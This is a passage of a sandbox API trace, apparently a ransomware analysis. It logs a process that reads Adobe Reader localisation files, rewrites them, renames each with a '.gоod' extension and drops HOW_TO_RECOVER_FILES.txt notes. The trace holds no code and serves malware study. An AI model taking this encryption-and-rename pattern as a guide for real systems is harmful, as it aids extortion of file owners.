(hFile=0x630) returned 0x1 [0244.009] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0244.009] ReadFile (in: hFile=0x630, lpBuffer=0x39479b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x39479b8*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0244.010] CloseHandle (hObject=0x630) returned 1 [0244.010] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0244.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0244.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.011] GetFileType (hFile=0x630) returned 0x1 [0244.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0244.011] GetFileType (hFile=0x630) returned 0x1 [0244.011] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xc4ad [0244.011] WriteFile (in: hFile=0x630, lpBuffer=0x3948cc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x3948cc0*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0244.012] CloseHandle (hObject=0x630) returned 1 [0244.012] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0244.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0244.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.012] GetFileType (hFile=0x630) returned 0x1 [0244.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0244.012] GetFileType (hFile=0x630) returned 0x1 [0244.012] ReadFile (in: hFile=0x630, lpBuffer=0x394b020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x394b020*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0244.049] CloseHandle (hObject=0x630) returned 1 [0244.049] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0244.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0244.049] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.050] GetFileType (hFile=0x630) returned 0x1 [0244.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0244.050] GetFileType (hFile=0x630) returned 0x1 [0244.050] WriteFile (in: hFile=0x630, lpBuffer=0x3949d08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x3949d08*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0244.050] CloseHandle (hObject=0x630) returned 1 [0244.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0244.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0244.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0244.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8daeca95, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc4bd)) returned 1 [0244.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0244.660] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js.gоod")) returned 1 [0246.268] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0246.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0246.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x870 [0246.289] GetFileType (hFile=0x870) returned 0x1 [0246.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0246.290] GetFileType (hFile=0x870) returned 0x1 [0246.315] WriteFile (in: hFile=0x870, lpBuffer=0x38e7040*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x38e7040*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0246.316] CloseHandle (hObject=0x870) returned 1 [0246.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0246.316] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it", lpFilePart=0x0) returned 0x71 [0246.316] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0246.316] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.316] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xba21, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.317] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0246.317] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0246.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0246.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0246.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0246.317] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it", lpFilePart=0x0) returned 0x71 [0246.317] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0246.318] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.318] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xba21, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.318] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xba21, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.318] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0246.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0246.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0246.318] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0246.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0246.318] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38f6dd0 | out: lpFileInformation=0x38f6dd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xba21)) returned 1 [0246.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0246.319] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0246.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0246.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0246.319] GetFileType (hFile=0x870) returned 0x1 [0246.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0246.320] GetFileType (hFile=0x870) returned 0x1 [0246.320] SetFilePointer (in: hFile=0x870, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0246.320] ReadFile (in: hFile=0x870, lpBuffer=0x38f72c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x38f72c8*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0246.320] CloseHandle (hObject=0x870) returned 1 [0246.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0246.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0246.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0246.321] GetFileType (hFile=0x870) returned 0x1 [0246.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0246.321] GetFileType (hFile=0x870) returned 0x1 [0246.321] SetFilePointer (in: hFile=0x870, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xba21 [0246.321] WriteFile (in: hFile=0x870, lpBuffer=0x38f8620*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x38f8620*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0246.322] CloseHandle (hObject=0x870) returned 1 [0246.322] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0246.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0246.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0246.322] GetFileType (hFile=0x870) returned 0x1 [0246.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0246.322] GetFileType (hFile=0x870) returned 0x1 [0246.322] ReadFile (in: hFile=0x870, lpBuffer=0x38fa950, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x38fa950*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0246.605] CloseHandle (hObject=0x870) returned 1 [0246.605] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0246.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0246.606] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0246.606] GetFileType (hFile=0x870) returned 0x1 [0246.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0246.606] GetFileType (hFile=0x870) returned 0x1 [0246.606] WriteFile (in: hFile=0x870, lpBuffer=0x3754590*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x3754590*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0246.606] CloseHandle (hObject=0x870) returned 1 [0246.606] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0246.606] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0246.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0246.606] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8f32f2cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xba31)) returned 1 [0246.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0246.607] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js.gоod")) returned 1 [0246.609] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 